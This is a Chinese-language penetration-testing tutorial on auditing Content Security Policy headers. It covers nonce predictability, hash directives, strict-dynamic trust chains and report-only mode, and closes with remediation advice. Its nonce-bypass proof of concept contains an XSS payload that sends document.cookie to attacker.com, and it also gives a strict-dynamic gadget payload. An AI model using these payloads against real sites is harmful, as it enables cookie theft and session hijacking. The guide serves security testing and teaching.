在 Web 渗透测试(pentest)中,Content Security Policy (CSP) 是防御 XSS 等注入攻击的关键安全头。然而,许多站点 CSP 配置不当或使用 report-only 模式,这为 pentester 提供了审计和潜在绕过机会。本文聚焦单一技术点:如何系统审计 CSP 并寻找绕过路径,特别强调 nonce 验证、hash 指令、strict-dynamic eval,以及 report-only 模式下的策略 refinement,避免破坏生产站点。
CSP 审计基础:从头开始解析
首先,使用 Burp Suite 或浏览器 DevTools 检查响应头中的 Content-Security-Policy 或 Content-Security-Policy-Report-Only。典型严格策略示例:
Content-Security-Policy: script-src 'nonce-rAnd0mN0nc3' 'strict-dynamic'; object-src 'none';
关键指令:
script-src:控制脚本来源。'nonce-xxx':一次性随机令牌,仅允许携带匹配 nonce 的内联脚本。'sha256-xxx':基于脚本内容的 hash,仅允许匹配 hash 的脚本。'strict-dynamic':受信任脚本(nonce/hash)可动态加载子脚本,忽略传统主机白名单。report-uri/report-to:违规报告端点。
落地参数:在 Burp Repeater 中修改头,测试多头冲突(浏览器取第一个)。检查 meta 标签 CSP(HTTP 头优先)。
证据:OWASP 测试指南强调,多个 CSP 头可能导致弱化,仅第一个生效。
Report-Only 模式:安全审计不破站点
Content-Security-Policy-Report-Only 不阻塞违规,仅发送报告到 report-uri。这是生产环境 refinement 的理想模式。
审计步骤:
- 注入 XSS payload(如
<script>alert(1)</script>),DevTools Console 检查是否执行(应执行,因不阻塞)。 - Network 标签查看报告请求:确认
blocked-uri、violated-directive等字段。 - 测试报告端点:POST JSON 报告,检查是否记录 / 警报。
PoC checklist:
- 报告缺失:低危,建议启用 enforcement。
- 报告端点开放:中危,可 DDoS 或窃取 CSP 遥测。
- 参数:超时 30s 内无报告 → 配置失效。
利用此模式,pentester 可测试破坏性 payload(如 JSONP 回调)而不中断服务,后续建议逐步转 enforcement。
Nonce 验证:寻找弱随机性绕过
Nonce 是严格 CSP 的核心,依赖每页唯一随机值。
审计清单:
- 多 tab / 会话加载页面,比较 nonce 值:重复 / 可预测(如时间戳 base64)→ 高危。
- 检查所有
<script>标签:遗漏 nonce 的内联脚本直接阻塞。 - 反射型注入:若有 HTML inj,注入
<script nonce="观察到的nonce">evil()</script>。
可落地 PoC:
<!-- 假设反射点 echo user -->
<img src=x onerror="document.write(`<script nonce="${extractNonce()}\`>fetch('https://attacker.com?cookie='+document.cookie)</script>`)">
参数:nonce 熵 < 128bit(base64 短串),脚本大小 < 1KB。
证据:如果 nonce 缓存或静态,攻击者可从公开源预测。
Hash Directives:精确脚本指纹匹配
Hash 基于 sha256/sha384/sha512,仅允许内容匹配的内联脚本。
验证步骤:
- 提取所有内联
<script>内容,计算 hash:echo -n "content" | openssl dgst -sha256 -binary | base64。 - 比对 CSP 中的
'sha256-xxx':多 / 少 → misconfig。 - 动态内容:用户输入插入脚本 → hash 失效,绕过。
清单:
- 工具:CSP Evaluator (csp-evaluator.withgoogle.com)。
- 阈值:>5 个 hash → 维护复杂,建议 nonce。
- 绕过:修改脚本内容注入(如注释填充)失效 hash。
Strict-Dynamic Eval:动态信任链攻击
'strict-dynamic' 改变语义:nonce/hash 脚本信任其 createElement('script') 加载的一切。
pentest 重点:
- XSS in trusted script:DOM XSS 控制
src=attacker.com。 - Gadget hunt:jQuery 等库的
$(userInput)构造 script。 - Eval sink:
eval(userInput)若在 trusted 上下文中执行。
PoC 参数:
- 目标:第三方库如 analytics.js。
- Payload:
<img src=x onerror="trustedLib.loadScript('data:text/javascript,alert(1)')">(data: 常允许)。 - 监控:DevTools Sources,追踪动态加载。
风险:与 'unsafe-eval' 共存 → 完全绕过。
常见 Misconfig & Bypass Checklist
完整清单(优先级高→低):
unsafe-inline/unsafe-eval存在 → 直接 XSS。- 广域源:
https: *+ JSONP 端点。 - 用户控 CSP:反射到 nonce/header。
- 无
base-uri 'self'→ phishing。 - 回滚:测试前备份原头。
工具栈:
- Burp CSP Scanner 插件。
- Browser:F12 > Console > CSP violations。
- 监控:
monitorEvents(document, 'securitypolicyviolation')。
报告与 Remediation
报告模板:
- 影响:CSP report-only,XSS 高危未缓解。
- PoC:截图 + curl 重现。
- Fix:nonce 每请求生成(crypto.randomBytes (16).toString ('base64')),结合 strict-dynamic。
参数:部署后,负载测试 1k req/s,无阻塞。
资料来源:
- Hacker News 讨论:kayssel.com CSP pentest 基础。
- web.dev:Strict CSP with nonce + strict-dynamic 指南,仅允许信任链动态加载。[web.dev/articles/strict-csp]
通过以上方法,pentester 可高效审计 CSP,提升报告价值。(字数:1256)